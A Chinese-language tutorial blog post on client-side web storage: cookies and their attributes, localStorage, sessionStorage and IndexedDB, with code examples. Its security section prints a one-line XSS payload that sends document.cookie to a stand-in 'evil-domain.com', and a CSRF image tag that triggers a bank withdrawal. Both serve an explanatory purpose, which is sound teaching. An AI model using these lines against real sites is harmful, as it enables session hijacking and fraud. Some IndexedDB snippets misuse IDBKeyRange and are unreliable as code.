用户端存储
为了减少HTTP请求和实现维持服务器和客户端的状态联系,就需要用户端存储数据。
有了这个,才能让静态网页迈向了动态网页和离线网页的变化。
文章目录
cookies
HTTP Cookie(也叫Web Cookie或浏览器Cookie)是服务器发送到用户浏览器并保存在本地的一小块数据。
Cookie使基于无状态的HTTP协议记录稳定的状态信息成为了可能。
由于服务器指定Cookie后,浏览器的每次请求都会携带Cookie数据,会带来额外的性能开销(尤其是在移动环境下)。
- 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
- 个性化设置(如用户自定义设置、主题等)
- 浏览器行为跟踪(如跟踪分析用户行为等)
创建cookie
服务器收到HTTP请求时,服务器可以在响应头里面添加一个Set-Cookie
选项。浏览器收到响应后通常会保存下Cookie,之后对该服务器每一次请求中都通过Cookie请求头部将Cookie信息发送给服务器。
Set-Cookie: <cookie名>=<cookie值>
服务器端设置cookie
,
- 在响应报文是这样显示的:
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry
- 请求报文
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry
session cookie
会话期Cookie是最简单的Cookie:浏览器关闭之后它会被自动删除,也就是说它仅在会话期内有效。
持久的cookie
持久性Cookie可以指定一个特定的过期时间(Expires)或有效期(Max-Age)。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2019 07:28:00 GMT;
Secure 和HttpOnly 标记
标记为 ·Secure
的Cookie只应通过被HTTPS协议加密过的请求发送给服务端。
为避免跨域脚本 (XSS) 攻击,通过JavaScript的 Document.cookie API无法访问带有 ·HttpOnly
标记的Cookie,它们只应该发送给服务端。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
作用域
Domain
和 Path
标识定义了Cookie的作用域:即Cookie应该发送给哪些URL。
Domain
标识指定了哪些主机可以接受Cookie。如果不指定,默认为当前文档的主机(不包含子域名)。如果指定了Domain
,则一般包含子域名。Path
标识指定了主机下的哪些路径可以接受Cookie(该URL路径必须存在于请求URL中)。以字符 %x2F ("/") 作为路径分隔符,子路径也会被匹配。例如,设置·Path=/docs
DOM访问cookie
通过Document.cookie
属性可创建新的Cookie
,也可通过该属性访问非HttpOnly
标记的Cookie
。
document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
cookie的安全问题
- 会话劫持和XSS
常用的窃取Cookie的方法有利用社会工程学攻击和利用应用程序漏洞进行XSS攻击。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
HttpOnly
类型的Cookie由于阻止了JavaScript对其的访问性而能在一定程度上缓解此类攻击。 - 跨站请求伪造(CSRF)
比如在不安全聊天室或论坛上的一张图片,它实际上是一个给你银行服务器发送提现的请求:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
当你打开含有了这张图片的HTML页面时,如果你之前已经登录了你的银行帐号并且Cookie仍然有效(还没有其它验证步骤),你银行里的钱很可能会被自动转走。- 对用户输入进行过滤来阻止XSS;
- 任何敏感操作都需要确认;
- 用于敏感信息的Cookie只能拥有较短的生命周期;
Storage
兼容性:IE8+ chrome safari4+
localStorage
在浏览器关闭,然后重新打开后数据仍然存在。
通过Window.localStorage
属性来实现。
- 权限:同一个DOM源的网页才能访问
- 方法
- 增/改:·
localStorage.setItem('myCat', 'Tom');
- 获取:
let cat = localStorage.getItem('myCat');
- 删除:
localStorage.removeItem('myCat');
- 清空:
localStorage.clear();
- 增/改:·
- 事件
设置storage
事件,可以监听本地缓存的变化。
sessionStorage
当页面关闭,sessionStorage就会清空。
- 权限:允许你访问一个 session Storage 对象。
- 方法
- 增/改:·
sessionStorage.setItem('myCat', 'Tom');
- 获取:
let cat = sessionStorage.getItem('myCat');
- 删除:
sessionStorage.removeItem('myCat');
- 清空:
sessionStorage.clear();
- 增/改:·
IndexedDB
兼容性:IE10+ chrome safari24+
解决大文件缓存,如同名字一样,索引存储。通过索引指向缓存文件,对于保存大文件和大数据来说是性能比较高的。
MDN的概念解释
IndexedDB是一个事务型数据库系统,类似于基于SQL的RDBMS。 然而,不像RDBMS使用固定列表,IndexedDB是一个基于JavaScript的面向对象的数据库。 IndexedDB允许您存储和检索用键索引的对象;可以存储结构化克隆算法支持的任何对象。 您只需要指定数据库模式,打开与数据库的连接,然后检索和更新一系列事务。
大概意思就是使用一种面向对象的思想来管理这些大文件的存储,提供使用这些缓存的性能。
接口
- 打开数据库
这里打开成功的时候会有一个,参数var db = null var DBOpenRequest = window.indexedDB.open("toDoList"); DBOpenRequest.onsuccess = function(e) { db = DBOpenRequest.result; };
DBRequest
保存着回调信息。
每一个请求都有一个·readyState
属性,初始时为pending
,当请求完成或失败的时候,readyState
会变为done
。- 当状态保持为·
done
时,每一个请求都会返回result
和error
属性,并且会触发一个事件. - 当状态保持为
pending
时,任何尝试访问result或error
属性的行为会触发一个InvalidStateError
异常。
- 当状态保持为·
所有的异步操作都会返回一个request
对象。成功的时候会触发 success
,失败触发error
,异步的结果会保存到result
属性。
request.onsuccess = function(event) {
var db = this.result;// request.result
var transaction = db.transaction([]);
// "readonly" is the default option;
// when data will be added to the database use "readwrite".
var curRequest = transaction.objectStore('ObjectStore Name').openCursor();
curRequest.onsuccess = ...;
};
可以通过this.result
或者直接访问request.result;
-
创建索引集
打开数据库成功的时候,
result
保存的就是访问对应数据库的·IDBDatabase接口。我们后续的操作都是通过它来进行。
比如:
1. 关闭数据库:this.result.close()
2. 添加一个索引集:this.result.createObjectStore(name,option)
option
是可选配置,具体可以阅读MDN文档
3. 删除索引集:this.result.deleteObjectStore(name);
- 往索引集添加数据
数据的读取都是通过一个objectStore
接口进行的。
当我们创建索引集的时候会返回一个当前索引集的objectStore
接口
我们想要打开特定的索引集,可以使用request.result.transaction(['fThings'], 'readonly').objectStore('fThings');
这个接口有自己的属性和方法,但是我们这里直接介绍下常用的方法,其他可以阅读MDN文档
1. 创建索引:objectStore.createIndex("hours", "hours", { unique: false });
前面2个是索引名字和键路径,第3个是配置。
2. 删除索引值:objectStore.delete("name");
3. 删除索引:objectStore.deleteIndex(indexName);
4. 增加值(插入):objectStore.add(value, key);
key是唯一标识的值,默认为null,如果值已经存在则会触发error事件
5. 获取值:objectStore.get(key);
6. 修改值:objectStore.put(item, key);
使用例子:
// 创建一个数据库
var DBOpenRequest = window.indexedDB.open("toDoList", 4);
DBOpenRequest.onsuccess = function(event) {
// 保存返回的DBResult
db = DBOpenRequest.result;
};
// 当版本更新或者首次创建的时候触发
DBOpenRequest.onupgradeneeded = function(event) {
var db = event.target.result;
db.onerror = function(event) {
note.innerHTML += '<li>Error loading database.</li>';
}
// 创建索引集,以taskTitle为数据的索引
var objectStore = db.createObjectStore("toDoList", { keyPath: "taskTitle" });
// 自定义索引
objectStore.createIndex("hours", "hours", { unique: false });
objectStore.createIndex("minutes", "minutes", { unique: false });
objectStore.createIndex("day", "day", { unique: false });
objectStore.createIndex("month", "month", { unique: false });
objectStore.createIndex("year", "year", { unique: false });
objectStore.createIndex("notified", "notified", { unique: false });
note.innerHTML += '<li>Object store created.</li>';
};
// 需要保存的数据
var newItem = [
{ taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: 'December', year: 2013, notified: "no" }
];
// 打开索引集
var transaction = db.transaction(["toDoList"], "readwrite");
// 打开objectStore接口
var objectStore = transaction.objectStore("toDoList");
// 将值添加上去
var objectStoreRequest = objectStore.add(newItem[0]);
// 设置回调 监听是否完成
objectStoreRequest.onsuccess = function(event) {
note.innerHTML += '<li>Request successful .</li>';
}
// 获取值
let store = db.transaction("toDoList").objectStore("toDoList");
let request = store.get(IDBKeyRange('year', 'month'));
request.onsuccess = (event) => {
let data= event.target.result;
alert("data get success" + data);
};
// 获取索引
store.getKey(IDBKeyRange(30, 24));
// 修改值
// 需要重新获取值
request = store.get('Walk dog');
request.onsuccess = (event) => {
let data= event.target.result;
data.year = 2019
var updateTitleRequest = objectStore.put(data);
updateTitleRequest.onsuccess = function() {
alert("data put success" );
};
};
service worker
这个原理是劫持HTTP请求,可以将获取的信息保存到本地,来进行离线缓存的效果。这个在我上一篇文章已经介绍了,有兴趣的同学可以去阅读。